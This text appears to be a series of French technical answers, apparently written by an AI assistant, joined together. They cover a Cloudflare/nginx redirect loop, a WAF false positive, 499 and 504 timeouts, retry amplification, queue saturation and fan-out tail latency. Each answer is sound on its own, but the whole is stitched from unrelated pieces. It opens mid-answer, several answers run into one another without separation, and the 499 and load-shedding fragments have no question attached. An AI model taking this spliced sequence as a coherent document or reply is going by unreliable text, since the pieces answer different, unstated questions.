La connexion entre le navigateur et l'edge Cloudflare est en **HTTPS** : le handshake TLS est terminé par Cloudflare, qui agit en proxy inverse pour tout le trafic web (article Wikipédia FR « Cloudflare », section Serveur proxy inversé). Du point de vue de l'utilisateur, la barre d'adresse affiche bien `https://`, et ce segment n'est jamais en cause dans la boucle.
## Fait 2, segment origine (Cloudflare → Nginx)
En mode **Flexible**, Cloudflare rouvre une connexion vers le serveur d'origine en **HTTP clair, port 80**, sans TLS. C'est la définition même de ce mode dans la documentation Cloudflare (SSL/TLS encryption mode Flexible) ; précision d'honnêteté : ce point relève de la documentation éditeur, il n'est pas couvert par les articles de mon encyclopédie locale, je le donne donc comme fait technique documenté par Cloudflare et non comme fait vérifié par une source que j'ai consultée à l'instant.
Conséquence directe : côté Nginx, la requête entrante porte `$scheme = http`, quel que soit le protocole utilisé par le navigateur. Le seul indice du HTTPS d'origine est l'en-tête `X-Forwarded-Proto: https` ajouté par le proxy.
## Fait 3, décision Nginx
Nginx applique sa règle « tout HTTP vers HTTPS » en se fondant sur le protocole du **segment origine** qu'il observe, et non sur celui du segment client qu'il ignore. Voyant `http`, il émet une redirection **301 Moved Permanently** (ou 302) vers `https://<hôte><URI>` (article Wikipédia FR « Liste des codes HTTP » : 301 = document déplacé de façon permanente, 302 = temporaire).
C'est ici que se situe la faute logique : la condition testée (`$scheme = http`) n'est pas le prédicat voulu (« le client parle en clair »). Les deux ne coïncident que sans proxy terminant TLS en amont.
## Fait 4, résultat, la boucle
Le 301 remonte à Cloudflare, qui le relaie au navigateur. Le navigateur redemande `https://…`, atteint Cloudflare en HTTPS, Cloudflare retransmet **de nouveau en HTTP clair** à l'origine, Nginx redirige **encore**. L'état du système est identique à chaque tour : la boucle est infinie, non pas par accident mais par invariant, rien dans le cycle ne modifie la variable testée.
Le navigateur coupe après un nombre fixe de sauts et affiche une erreur du type `ERR_TOO_MANY_REDIRECTS`. Le code 310 « Too many Redirects » correspond formellement à ce cas de boucle de redirection (article Wikipédia FR « Liste des codes HTTP »).
## Cause racine et correction
**Cause racine** : mauvaise variable de décision. Le protocole du client doit être lu dans `X-Forwarded-Proto`, pas dans `$scheme`.
Deux corrections, par ordre de préférence :
| Option | Action | Effet sur la boucle | Sécurité du segment origine |
|---|---|---|---|
| A, recommandée | Passer Cloudflare en **Full (strict)** avec certificat valide sur l'origine (Origin CA ou Let's Encrypt) | Supprimée : Cloudflare parle HTTPS à l'origine | Chiffré et authentifié de bout en bout |
| B, contournement | Garder Flexible et conditionner la redirection Nginx à `X-Forwarded-Proto` | Supprimée | Segment Cloudflare → origine **en clair**, risque résiduel d'interception réseau entre l'edge et votre serveur |
Configuration Nginx pour l'option B, à n'utiliser que si l'origine n'accepte de connexions que depuis Cloudflare :
```nginx
# 1) N'accepter l'en-tête de protocole que des IP Cloudflare
# (listes officielles cloudflare.com/ips, à maintenir à jour)
set_real_ip_from 173.245.48.0/20;
# ... ajouter ici l'intégralité des plages IPv4 et IPv6 publiées
real_ip_header CF-Connecting-IP;
map $http_x_forwarded_proto $client_is_https {
default 0;
"https" 1;
}
server {
listen 80;
server_name exemple.tld;
# 2) Rediriger seulement si le CLIENT est en clair
if ($client_is_https = 0) {
return 301 https://$host$request_uri;
}
# 3) Servir normalement quand le client est déjà en HTTPS
location / {
proxy_pass http://127.0.0.1:8000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto $http_x_forwarded_proto;
}
}
```
**Avertissement de sécurité, non négociable** : `X-Forwarded-Proto` est un en-tête falsifiable par n'importe quel client capable de joindre directement votre origine. Sans filtrage réseau (pare-feu limitant le port 80 aux plages Cloudflare, ou Cloudflare Tunnel), un attaquant contourne la redirection en envoyant lui-même `X-Forwarded-Proto: https`. Le contrôle d'accès réseau est donc la mesure primaire, la configuration Nginx n'est que la mesure secondaire.
## Vérification
Trois tests, à exécuter vous-même (je n'ai pas accès à votre infrastructure et n'ai donc rien exécuté) :
```bash
# 1) L'origine ne doit PAS rediriger quand le client est déclaré en HTTPS
curl -sSI -H "Host: exemple.tld" -H "X-Forwarded-Proto: https" \
http://IP_ORIGINE/ | head -n 1 # attendu : HTTP/1.1 200
# 2) L'origine DOIT rediriger sans cet en-tête
curl -sSI -H "Host: exemple.tld" http://IP_ORIGINE/ | head -n 1
# attendu : HTTP/1.1 301
# 3) Chaîne complète vue du public, compter les sauts
curl -sSIL -o /dev/null -w "%{num_redirects} sauts, final %{http_code}\n" \
https://exemple.tld/ # attendu : 0 ou 1 saut, 200
```
Un `num_redirects` supérieur ou égal à 2 sur le test 3 signale que la boucle subsiste.
## Risques et limites
- Toute modification de configuration Nginx exige un `nginx -t` avant `reload`, et une sauvegarde du fichier de configuration avant édition : `cp site.conf site.conf.bak.$(date +%s)`. Le rollback consiste à restaurer ce fichier puis à recharger.
- Le passage en Full (strict) échoue si le certificat d'origine est absent, expiré ou de nom incorrect : le symptôme devient alors une erreur **526 Invalid SSL Certificate** ou **525 SSL Handshake Failed** (article Wikipédia FR « Liste des codes HTTP », codes 5xx étendus Cloudflare). Installez et testez le certificat d'origine **avant** de basculer le mode.
- Les 301 déjà émis sont mis en cache par les navigateurs et par Cloudflare : après correction, purgez le cache Cloudflare et testez en navigation privée, sinon vous observerez une boucle fantôme purement locale.
- Les plages IP Cloudflare évoluent ; une liste figée dans `set_real_ip_from` se périme et provoquera à terme des IP client erronées. Prévoyez une mise à jour automatisée.## Diagnostic Un blocage par une règle managée identifiée (`rule_id=9812`) est un problème de **précision de règle**, pas un problème de WAF. La bonne réponse est donc une exception à portée minimale, jamais une désactivation de périmètre. Réserve d'honnêteté : je ne peux pas vérifier hors ligne à quelle signature correspond le `rule_id=9812` ni l'intitulé exact des écrans Cloudflare actuels ; la terminologie ci-dessous vient de ma mémoire de modèle et peut être périmée. À confronter à la documentation officielle de votre compte avant application. --- ## Les quatre étapes sûres ### 1. Établir la preuve du blocage avant toute modification Objectif : prouver que c'est bien cette règle, et sur quel élément de la requête elle déclenche. - Récupérer l'événement dans le journal des événements de sécurité (Security Events / Firewall Events) via le **Ray ID** de la requête bloquée. - Relever exactement : `rule_id`, action appliquée, hôte, chemin, méthode HTTP, `Content-Type`, et le champ ou paramètre incriminé (corps, en-tête, chaîne de requête, cookie). - Reproduire le blocage de façon déterministe, puis réduire la charge utile jusqu'au motif minimal qui déclenche. Contrôle : un blocage observé une fois ne prouve pas la cause. Sans reproduction déterministe, vous ne saurez pas si votre correctif a agi ou si le trafic a simplement changé. ### 2. Corriger la cause à la source si elle est corrigeable Avant d'ouvrir une exception, vérifier si le faux positif vient de votre applicatif. Causes fréquentes (hypothèses à tester, pas un diagnostic) : payload non encodé, JSON envoyé avec un `Content-Type` incorrect, HTML brut ou SQL-like dans un champ libre, double encodage, upload en `multipart` mal formé. Si la requête peut être rendue conforme (encodage correct, champ typé, base64 du contenu libre côté client avec décodage serveur), c'est le correctif préférable : il ne réduit pas la couverture de sécurité. Rappel : le base64 n'est pas du chiffrement, ce n'est ici qu'un transport neutralisant les motifs. ### 3. Créer une exception à portée minimale, d'abord en mode observation Si le faux positif est confirmé et non corrigeable côté application, créer une **exception ciblée sur ce seul `rule_id`**, jamais un `skip` de l'ensemble des règles managées, jamais une règle de contournement de la sécurité au niveau de la zone. Portée à combiner de façon aussi restrictive que possible : | Dimension | Restriction recommandée | |---|---| | Règle | uniquement `rule_id=9812` (pas le ruleset, pas la catégorie) | | Hôte | le seul `http.host` concerné | | Chemin | `http.request.uri.path` exact, pas de préfixe large | | Méthode | la seule méthode utile (ex. `POST`) | | Origine | IP source ou plage d'un partenaire identifié, ou service authentifié par jeton, si le cas le permet | Séquence sûre : 1. Passer la règle en action `Log` sur ce périmètre restreint, observer une fenêtre de trafic représentative. 2. Vérifier dans les journaux qu'aucun trafic malveillant n'emprunte ce périmètre. 3. Seulement ensuite, basculer sur l'exception effective (skip de cette règle unique). Traçabilité obligatoire : identifiant de ticket, auteur, date, motif, **date de revue ou d'expiration**, et procédure de retour arrière (l'exception doit être supprimable en une action, sans effet de bord). ### 4. Vérifier, surveiller, et replanifier la revue - Retester le cas légitime : il doit passer. - Retester une charge utile réellement malveillante correspondant à la famille de la règle sur un chemin **hors** périmètre de l'exception : elle doit toujours être bloquée. C'est le test qui prouve que la portée est bien restreinte. - Mettre une alerte sur le volume de requêtes empruntant le périmètre de l'exception (une hausse anormale est un signal d'abus). - Programmer une revue à échéance : les rulesets managés évoluent, la règle peut être affinée en amont et l'exception devenir inutile, donc un risque résiduel gratuit. Limite méthodologique : un nombre fini de tests réussis ne prouve pas l'absence de contournement. Ces tests réduisent le risque, ils ne l'annulent pas. --- ## Risques résiduels à nommer explicitement - Une exception scopée par IP source repose sur une IP potentiellement partagée (NAT, CGNAT) ou réattribuée ; ce n'est pas une authentification. - Une exception scopée par chemin devient une surface non protégée : si un jour ce chemin accepte davantage d'entrées, la couverture perdue s'élargit silencieusement. - Une exception sans date de revue devient permanente par oubli. C'est le mode de dégradation le plus courant d'une configuration WAF. - Aucune de ces étapes n'est « sans risque » ; elles échangent une indisponibilité fonctionnelle contre une réduction locale et documentée de la détection. ## Ce qu'il ne faut jamais faire ici Désactiver le WAF sur la zone, désactiver le ruleset managé entier, créer une règle de contournement global de la sécurité, ou mettre le mode « sous attaque »/sécurité au minimum pour débloquer un seul cas.
- **Qui a fermé :** le client immédiat de nginx — navigateur, SDK, CDN ou load balancer — a fermé la connexion après 5 s, d’où le **499**.
- **Cause probable :** une deadline ou un timeout client/intermédiaire de 5 s, inférieur aux 8 s nécessaires à l’amont.
- **Métrique à corréler :** la distribution de `$request_time` des 499, concentrée autour de 5 s, avec les compteurs de timeout côté client/edge et les quantiles de latence amont.
- **Action de budget :** réduire la latence ou rendre le traitement asynchrone ; sinon réaligner les délais avec une marge, selon $T_{\text{client}} > T_{\text{edge}} > T_{\text{nginx}} > T_{\text{amont}}$, et propager l’annulation pour interrompre le travail devenu inutile.## Diagnostic
Le code 504 signifie « Temps d'attente écoulé d'une réponse d'un serveur à un serveur intermédiaire » (Liste des codes HTTP, Wikipédia FR, article lu ci-dessus). Votre chaîne actuelle a un budget de délais **inversé** : le maillon le plus proche de l'utilisateur (Nginx, 30 s) coupe avant le maillon interne (Node vers PostgreSQL, 60 s), et le client (45 s) attend plus longtemps que Nginx. Conséquence logique : Nginx abandonne à 30 s et renvoie 504 alors que la requête PostgreSQL continue de consommer une connexion et du CPU, ce qui est un gaspillage de ressources et masque la cause réelle.
La règle d'ordonnancement correcte est monotone croissante depuis la dépendance la plus profonde jusqu'à l'utilisateur : chaque maillon doit expirer **avant** celui qui l'appelle, afin que l'erreur soit produite et journalisée à la source, non par l'intermédiaire.
## Les quatre délais cibles, de la dépendance vers l'utilisateur
| Rang | Maillon | Délai cible | Rôle du délai |
|---|---|---|---|
| 1 | PostgreSQL (requête) | **20 s** | La requête est annulée à la source, la connexion est libérée |
| 2 | Node (appel applicatif vers la base) | **25 s** | Node constate l'annulation et produit une erreur métier explicite |
| 3 | Nginx (lecture de la réponse amont) | **30 s** | Nginx relaie l'erreur de Node au lieu de générer un 504 aveugle |
| 4 | Client (attente HTTP) | **35 s** | L'utilisateur reçoit toujours une réponse serveur avant d'abandonner |
Séquence finale : **20 s, 25 s, 30 s, 35 s**, soit une marge de 5 s à chaque étage (vérifié par calcul : suite strictement croissante, écarts $[5, 5, 5]$, exécution de l'outil de calcul local ci-dessus).
Justification de la marge : l'écart de 5 s absorbe le temps de propagation, la sérialisation de la réponse d'erreur et la latence réseau. Sans marge (valeurs égales), une course critique peut faire expirer les deux étages simultanément, et l'appelant génère alors sa propre erreur générique, ce qui annule le bénéfice de l'ordonnancement.
## Actions concrètes
Les noms de directives ci-dessous correspondent à ma connaissance des configurations usuelles de ces logiciels ; je ne dispose pas ici d'une source documentaire hors ligne pour les certifier, vérifiez-les dans la documentation officielle de votre version exacte avant application.
1. PostgreSQL, à 20 s, de préférence par rôle applicatif plutôt que globalement :
```sql
ALTER ROLE app_runtime SET statement_timeout = '20s';
ALTER ROLE app_runtime SET idle_in_transaction_session_timeout = '20s';
```
2. Node, à 25 s, sur le pool et sur la requête, plus un signal d'annulation :
```js
const pool = new Pool({
connectionTimeoutMillis: 5000,
statement_timeout: 20000,
query_timeout: 25000,
idleTimeoutMillis: 30000,
});
```
3. Nginx, à 30 s, dans le bloc `location` du service concerné :
```nginx
proxy_connect_timeout 5s;
proxy_send_timeout 30s;
proxy_read_timeout 30s;
```
4. Client, à 35 s, via un `AbortController` ou l'option de délai de votre bibliothèque HTTP, avec message d'attente explicite au-delà de 10 s.
## Vérification
- Injectez une requête volontairement lente, par exemple `SELECT pg_sleep(60)`, et contrôlez que l'erreur remontée est une annulation PostgreSQL (`57014 query_canceled`) et non un 504 Nginx.
- Contrôlez dans les journaux l'horodatage des trois couches : l'ordre d'apparition des erreurs doit être PostgreSQL, puis Node, puis, si dépassement, Nginx.
- Vérifiez que la connexion PostgreSQL est bien libérée après annulation, par `SELECT count(*) FROM pg_stat_activity WHERE state <> 'idle';`.
## Risques et limites
- Ces valeurs sont un ordonnancement cohérent, pas un remède à la lenteur : si vos requêtes dépassent réellement 20 s, le vrai problème est l'indexation, le plan d'exécution ou la volumétrie, et le nouveau réglage transformera simplement des 504 en erreurs applicatives plus rapides.
- Un délai de 20 s abaissé depuis 60 s peut faire échouer des traitements longs légitimes (exports, rapports, migrations). Ces traitements doivent passer en asynchrone (file d'attente, tâche de fond) et non partager le budget des requêtes web.
- `statement_timeout` ne couvre pas tous les cas d'attente : une attente de verrou peut nécessiter `lock_timeout`, une transaction inactive nécessite `idle_in_transaction_session_timeout`.
- Modifier un rôle PostgreSQL est une opération de configuration : appliquez-la d'abord en préproduction, notez la valeur précédente pour permettre le retour arrière, et n'accordez au rôle applicatif que les privilèges strictement nécessaires.
- Si un balanceur ou un CDN se trouve devant Nginx, il constitue un cinquième maillon dont le délai doit se placer entre 30 s et 35 s, sinon il redeviendra la source des 504.## 1. Décompte des appels
Données : $N = 100$ requêtes entrantes, $k = 3$ essais maximum par requête, aucun succès (donc chaque requête épuise son quota).
$$A_{\max} = N \times k = 100 \times 3 = 300$$
**300 appels sortants maximum** vers la dépendance saturée (arithmétique élémentaire, vérifiée par calcul).
Réserve d'interprétation, à lever avant de dimensionner : la formulation « jusqu'à trois essais » est ambiguë.
| Convention | Appels par requête | Total | Facteur |
|---|---|---|---|
| 3 essais au total (1 initial + 2 reprises) | 3 | **300** | **3** |
| 1 initial + 3 reprises | 4 | 400 | 4 |
Je retiens la première lecture, qui est la lecture littérale de « trois essais ».
## 2. Facteur d'amplification
$$F = \frac{A_{\max}}{N} = \frac{300}{100} = 3$$
**Facteur 3**, soit +200 % de charge injectée sur un composant déjà saturé.
Point critique, et c'est là que le chiffre devient dangereux : si le motif de reprise est répété à chaque couche d'une chaîne d'appels, l'amplification est multiplicative, non additive. Pour $c$ couches appliquant chacune $k = 3$ :
$$F_c = k^{\,c} \qquad A_c = N \cdot k^{\,c}$$
| Couches en cascade | Appels au dernier étage | Facteur |
|---|---|---|
| 1 | 300 | 3 |
| 2 | 900 | 9 |
| 3 | 2 700 | 27 |
| 4 | 8 100 | 81 |
(valeurs calculées, $3^4 = 81$)
## 3. Phénomènes qui surviennent
Trois mécanismes distincts, à ne pas confondre.
**a. Amplification des reprises (retry amplification).** La charge utile sortante est multipliée par $k$ au moment précis où la dépendance a besoin d'une charge réduite. Le mécanisme de correction devient la cause de l'aggravation. C'est un problème de rétroaction positive, et c'est exactement ce que le contrôle en boucle fermée du backoff exponentiel vise à inverser, en réduisant multiplicativement le débit en réponse aux événements défavorables (article de l'encyclopédie locale : *Exponential backoff*, Wikipedia EN, section « Exponential backoff algorithm » et « Rate limiting »).
**b. Effet de troupeau (thundering herd), et sa variante cache stampede.** Si les 100 clients reprennent après un délai déterministe identique, leurs reprises se resynchronisent et frappent la dépendance en salves corrélées. L'article *Thundering herd problem* (Wikipedia EN, section « Mitigation ») indique explicitement que dans les systèmes à backoff, du jitter doit être introduit délibérément pour briser la synchronisation entre clients et éviter les collisions.
**c. Risque d'effondrement congestif et de panne en cascade.** Sous saturation entretenue, le débit utile peut s'effondrer au lieu de plafonner. C'est un résultat historique établi sur les canaux à contention : les simulations d'ALOHA, slotté ou non, montrent un canal instable pouvant entrer en *congestion collapse* (article *Exponential backoff*, section « History and theory »). Analogie de mécanisme, pas identité de système : votre dépendance n'est pas un canal radio, je présente donc ce point comme un raisonnement par analogie, pas comme une mesure de votre système. Le pattern circuit breaker est présenté comme moyen de prévenir les défaillances en cascade dans les systèmes distribués et d'éviter les tentatives répétées vers un service non répondant (article *Circuit breaker design pattern*, Wikipedia EN, introduction).
## 4. Limites à appliquer
Ordre de priorité, du plus efficace au plus accessoire.
**Limite 1, budget global de reprises (retry budget).** La limite la plus importante n'est pas par requête, elle est globale. Plafonnez les reprises à une fraction $\beta$ du trafic nominal, par exemple $\beta = 10\,\%$ :
$$R_{\max} = \beta \cdot N = 0{,}10 \times 100 = 10 \text{ reprises autorisées}$$
$$A_{\max}^{\text{borné}} = N + R_{\max} = 110 \qquad F = 1{,}1$$
Le facteur passe de $3$ à $1{,}1$. Une limite par requête ($k = 3$) ne borne rien à l'échelle du système, c'est l'erreur de conception centrale ici.
**Limite 2, disjoncteur (circuit breaker).** Au-delà d'un seuil d'échecs, l'état passe à *open* et l'erreur est retournée immédiatement sans invoquer le service ; après un délai, l'état *half-open* laisse passer un nombre limité de requêtes, puis retour à *closed* en cas de succès ou à *open* en cas d'échec persistant (article *Circuit breaker design pattern*, sections « Closed / Open / Half-open state »). Avertissement issu de la même source : un disjoncteur peut interpréter une défaillance partielle comme une défaillance totale et faire tomber l'ensemble du système, les architectures shardées et cellulaires étant particulièrement exposées ; le contournement, disjoncteurs fins par partition sur indication du serveur, est décrit comme complexe et coûteux (section « Challenges », attribué à Marc Brooker).
**Limite 3, backoff exponentiel plafonné avec jitter.** Délai de la tentative $c$ :
$$t_c = \min\!\left(t_{\max},\; b^{\,c} \cdot t_0\right) \cdot U(0,1)$$
avec $b = 2$ (backoff exponentiel binaire), $t_0$ de l'ordre du temps d'aller-retour, et $t_{\max}$ un plafond. Le modèle de référence est $t = b^{c}$, la fréquence évoluant en $f = 1/b^{c}$ (article *Exponential backoff*). Le plafond est indispensable, faute de quoi les délais divergent. Le jitter est obligatoire, un backoff déterministe étant explicitement qualifié d'inadapté à l'évitement de collisions, puisque tous les émetteurs attendraient la même durée et recollisionneraient (même article, section « Collision avoidance »).
**Limite 4, conditions de non-reprise.** Ne retentez jamais sur une erreur non transitoire (4xx de validation, erreur d'autorisation), ni sur une opération non idempotente sans clé d'idempotence, ni après expiration du budget de latence total de la requête. Un timeout global par requête entrante doit borner l'ensemble des essais, sinon les reprises consomment des connexions et des threads pendant que le client a déjà abandonné.
**Limite 5, cloisonnement et contre-pression.** Bulkhead pour isoler le pool de connexions de la dépendance saturée du reste du service (pattern référencé dans l'encyclopédie locale : *Bulkhead pattern*), plus rejet immédiat côté serveur (load shedding) avec signal explicite de ralentissement, le service pouvant refuser de répondre aux clients trop fréquents pour éviter qu'ils excèdent leur quota (article *Exponential backoff*, section « Rate limiting »).
## 5. Implémentation de référence
Code non exécuté, je ne prétends pas l'avoir testé ; il est raisonné mais doit être validé par vos tests.
```python
import random
import time
import threading
class RetryBudgetExhausted(Exception):
"""Le budget global de reprises est epuise, on echoue vite."""
class RetryBudget:
"""Borne les reprises a une fraction du trafic nominal.
Fenetre glissante approximee par une fuite lineaire (token bucket).
"""
def __init__(self, requests_per_second: float, ratio: float = 0.10):
if not 0 < ratio <= 1:
raise ValueError("ratio doit etre dans ]0, 1]")
self._rate = requests_per_second * ratio # reprises/s autorisees
self._capacity = max(1.0, self._rate) # rafale toleree
self._tokens = self._capacity
self._last = time.monotonic()
self._lock = threading.Lock()
def try_acquire(self) -> bool:
with self._lock:
now = time.monotonic()
self._tokens = min(
self._capacity,
self._tokens + (now - self._last) * self._rate,
)
self._last = now
if self._tokens >= 1.0:
self._tokens -= 1.0
return True
return False
def backoff_delay(attempt: int, base: float = 0.05,
factor: float = 2.0, cap: float = 2.0) -> float:
"""Backoff exponentiel plafonne avec jitter complet.
attempt = 1 pour la premiere reprise.
"""
ceiling = min(cap, base * (factor ** (attempt - 1)))
return random.uniform(0.0, ceiling)
def call_with_retries(operation, budget: RetryBudget, breaker,
max_attempts: int = 3, deadline_s: float = 1.0,
is_retryable=lambda exc: True):
"""Execute operation avec au plus max_attempts essais.
Bornes cumulees : disjoncteur, budget global, deadline, nb d'essais.
"""
start = time.monotonic()
last_exc = None
for attempt in range(1, max_attempts + 1):
if not breaker.allow_request():
raise RetryBudgetExhausted("disjoncteur ouvert")
try:
result = operation()
except Exception as exc: # noqa: BLE001, remontee controlee
breaker.record_failure()
last_exc = exc
if not is_retryable(exc) or attempt == max_attempts:
raise
if not budget.try_acquire():
raise RetryBudgetExhausted(
"budget de reprises epuise"
) from exc
delay = backoff_delay(attempt)
if time.monotonic() - start + delay >= deadline_s:
raise TimeoutError("deadline atteinte") from exc
time.sleep(delay)
else:
breaker.record_success()
return result
raise last_exc # defensif, normalement inatteignable
```
Le disjoncteur (`breaker`) doit exposer `allow_request()`, `record_success()`, `record_failure()` et implémenter les trois états closed, open, half-open décrits plus haut. Je ne fournis pas son corps ici sans connaître votre modèle de concurrence et votre granularité de partition, le choix ayant des effets directs sur le risque de faux positif signalé en section 3.
## 6. Vérifications à mener
1. **Test de charge en échec forcé.** Injectez 100 requêtes contre une dépendance qui échoue à 100 %, et comptez les appels sortants réellement observés. L'assertion doit être stricte : $A_{\text{observé}} \le 110$ avec budget à 10 %, et non « environ 110 ».
2. **Test de désynchronisation.** Mesurez l'écart-type des instants de reprise. Avec jitter complet il doit être non négligeable ; un écart-type proche de zéro prouve que le jitter n'est pas actif.
3. **Test de transition du disjoncteur.** Vérifiez explicitement les trois transitions closed vers open, open vers half-open, half-open vers closed et vers open. Une branche non couverte n'est pas vérifiée.
4. **Métriques de production obligatoires.** Ratio appels sortants sur requêtes entrantes (doit rester proche de $1$), taux de rejet par budget, temps passé en état open, latence au 99e centile.
## 7. Risques et limites de cette réponse
- Le chiffre $300$ est un maximum arithmétique sous l'hypothèse d'échec total. Il ne dit rien de la charge réelle observée sur votre système, que je n'ai pas mesurée.
- Les valeurs $\beta = 10\,\%$, $t_0 = 50$ ms, $t_{\max} = 2$ s sont des points de départ raisonnables, pas des valeurs optimales. Elles constituent des hypothèses de dimensionnement à calibrer, l'article *Exponential backoff* soulignant que la récupération du débit exige un réglage soigneux pour éviter les oscillations.
- Le facteur $k^{c}$ pour $c$ couches suppose que chaque couche applique le même $k$ et retente indépendamment. Si une couche est déjà bornée par un budget, la formule surestime.
- L'analogie avec l'effondrement congestif d'ALOHA est un raisonnement structurel, pas une preuve concernant votre dépendance.
- Le disjoncteur introduit un risque propre, faux positif sur défaillance partielle, documenté ci-dessus. Il réduit un risque, il ne l'annule pas. Aucune de ces limites ne rend le système « sûr », elles réduisent l'amplification et bornent le pire cas.
Sources consultées dans l'encyclopédie locale hors ligne : *Exponential backoff*, *Thundering herd problem*, *Circuit breaker design pattern*, *Bulkhead pattern* (Wikipedia EN, CC BY-SA 4.0). Calculs arithmétiques effectués et vérifiés avec l'outil de calcul local.1. **Nouvelles requêtes** : les rejeter immédiatement à l’admission, sans les ajouter à la file. 2. **Code** : renvoyer `503 Service Unavailable` (`429` uniquement si un client dépasse son propre quota). 3. **`Retry-After`** : fournir un délai court et borné, estimé d’après le temps de vidage de la file, avec désynchronisation des nouvelles tentatives. 4. **Priorité** : rejeter d’abord le trafic optionnel ou différable et réserver la capacité aux requêtes déjà en cours et au trafic critique.
## Données
| Grandeur | Valeur |
|---|---|
| Capacité de la file $C$ | $10\,000$ messages |
| Occupation courante $N$ | $9\,800$ messages |
| Débit d'arrivée $\lambda$ | $50$ msg/s |
| Débit de drainage $\mu$ | $0$ msg/s |
## Raisonnement chiffré
**Marge résiduelle :**
$$M = C - N = 10\,000 - 9\,800 = 200 \text{ messages}$$
**Débit net de remplissage :**
$$\lambda_{\text{net}} = \lambda - \mu = 50 - 0 = 50 \text{ msg/s}$$
**Temps avant saturation :**
$$T_{\text{sat}} = \frac{M}{\lambda_{\text{net}}} = \frac{200}{50} = 4 \text{ s}$$
## Résultats
| Indicateur | Valeur |
|---|---|
| **Marge** | **200 messages** (soit $2\%$ de la capacité) |
| **Temps avant saturation** | **4 secondes** |
| Taux d'occupation | $9\,800/10\,000 = 98\%$ |
## Verdict
**Saturation critique imminente.** Avec un drainage nul, la file est mathématiquement condamnée : aucune valeur de $\lambda > 0$ ne permet la stabilité, puisque la condition de stabilité d'une file est $\lambda < \mu$, ici violée de façon absolue ($\mu = 0$). Les 4 secondes ne sont pas un délai de tolérance mais un délai d'intervention. Au-delà, selon la politique de la file, soit les nouveaux messages sont rejetés (perte en tête ou en queue), soit les producteurs se bloquent, soit la mémoire du broker déborde. Ce point doit être vérifié dans la configuration réelle : je ne peux pas le déduire des seules données fournies.
## Action immédiate
Deux leviers seulement existent, et un seul est efficace ici.
1. **Rétablir le drainage** (levier structurel, priorité absolue) : identifier pourquoi $\mu = 0$. Consommateur arrêté, bloqué sur une dépendance, en boucle de replantage, verrou de base de données, ou groupe de consommateurs déséquilibré. C'est la seule action qui résout la cause.
2. **Réduire $\lambda$ immédiatement** (levier de survie, à déclencher en parallèle) : appliquer une limitation de débit ou une coupure de circuit côté producteurs pour ramener $\lambda$ sous $\mu$ dès que $\mu > 0$. Tant que $\mu = 0$, seul $\lambda = 0$ arrête la progression.
Ordre d'exécution recommandé, compte tenu du délai de 4 secondes qui est inférieur à tout temps de diagnostic humain :
- $t_0$ : déclencher le frein automatique sur les producteurs (limitation ou coupure), pour geler le compteur.
- $t_0$ : basculer le débordement vers un tampon secondaire ou une file de mise à l'écart, si un tel dispositif existe, afin d'éviter la perte de messages.
- $t_0 + \varepsilon$ : diagnostiquer le consommateur (état du processus, journaux, verrous, dépendances aval).
- après reprise : relâcher le frein progressivement, en maintenant $\lambda < \mu$ jusqu'à résorption du retard accumulé.
**Contrôle à poser durablement :** une alarme sur le temps avant saturation plutôt que sur le taux d'occupation seul. Un seuil à $98\%$ ne laisse ici que 4 secondes, ce qui est inexploitable. Une alarme déclenchée à $T_{\text{sat}} < 300\ \text{s}$ aurait alerté à $N = 10\,000 - 50 \times 300 = -5\,000$, valeur négative, ce qui signifie qu'avec $\mu = 0$ et $C = 10\,000$ la file entière ne représente que $10\,000/50 = 200\ \text{s}$ de tampon : le vrai contrôle manquant est donc la surveillance de $\mu$ lui-même, un drainage nul devant lever une alarme indépendamment du niveau de la file.
## Limites
Les valeurs $\lambda = 50$ msg/s et $\mu = 0$ sont supposées constantes sur l'horizon considéré, hypothèse raisonnable sur 4 secondes mais non vérifiable avec les données fournies. Le calcul est déterministe : si les arrivées sont stochastiques, 4 s est une espérance et la saturation peut survenir plus tôt. Je ne dispose d'aucune information sur la technologie de file, la politique de débordement, ni l'existence effective d'un mécanisme de limitation de débit dans votre système.# Diagnostic
Le motif est un fan-out parallèle avec jointure bloquante (scatter/gather). La latence de l'endpoint est le **maximum** des latences des quatre appels, plus l'overhead local (sérialisation, ordonnancement, réseau interne).
$$L_{endpoint} = \max(L_1, L_2, L_3, L_4) + \varepsilon$$
# Les quatre réponses demandées
| Élément | Réponse |
|---|---|
| Borne p99 idéale minimale | **120 ms** (hors overhead $\varepsilon$) |
| Dépendance dominante | **La dépendance à 120 ms** (le maximum des p99) |
| Opérateur de composition | **$\max$** (et non la somme) |
| Optimisation prioritaire | **Réduire la queue de la dépendance à 120 ms** ; le gain plafonne ensuite à 90 ms |
# Raisonnement chiffré
**1. Borne minimale.** Puisque l'endpoint attend toutes les réponses, il ne peut jamais être plus rapide que sa branche la plus lente :
$$\max(40, 60, 90, 120) = 120\ \text{ms}$$
C'est un plancher : aucun parallélisme, aucun cache de connexion, aucune optimisation locale ne descend sous 120 ms tant que cette dépendance garde ce p99 et que la jointure reste complète.
**2. La somme serait fausse.** En séquentiel on aurait $40+60+90+120 = 310$ ms. Le parallélisme fait passer l'opérateur de $\sum$ à $\max$, soit un gain théorique de $310 - 120 = 190$ ms. Ce gain est déjà acquis dans l'architecture décrite.
**3. Point critique, la borne 120 ms est optimiste, pas atteignable.** C'est le sens du mot « idéale » dans votre question, et il faut l'expliciter. Le $p_{99}$ du maximum n'est **pas** le maximum des $p_{99}$. Sous une hypothèse d'indépendance des quatre latences, la probabilité que les quatre branches soient simultanément sous leur propre $p_{99}$ vaut :
$$P = 0.99^4 = 0.96059601 \approx 96{,}06\ \%$$
Donc environ **3,94 %** des requêtes dépassent le profil « toutes sous leur p99 ». Le vrai $p_{99}$ du max est donc strictement supérieur à 120 ms. Pour obtenir un $p_{99}$ agrégé, il faut que chaque dépendance tienne un quantile individuel de :
$$q = 0.99^{1/4} \approx 0.997491 \quad \Rightarrow \quad p_{99{,}75}\ \text{par dépendance}$$
soit une probabilité de queue par appel de seulement **0,251 %** au lieu de 1 %. Autrement dit, **le SLO agrégé p99 exige de piloter le p99,75 de chaque dépendance**, ce qui est nettement plus contraignant. C'est le phénomène d'amplification de queue (tail amplification) du fan-out.
Ces deux calculs sont vérifiés par exécution ($0.99^4$ et $0.99^{1/4}$, laboratoire local). L'hypothèse d'indépendance est explicitement une hypothèse : en production, les corrélations (saturation CPU commune, GC, réseau partagé, base commune) la violent souvent. Si les latences sont positivement corrélées, $P$ remonte au-dessus de 96,06 % et la borne 120 ms devient moins pessimiste ; si les dépendances partagent un goulot saturé, l'effet peut au contraire s'aggraver. Je ne peux pas trancher sans mesure réelle.
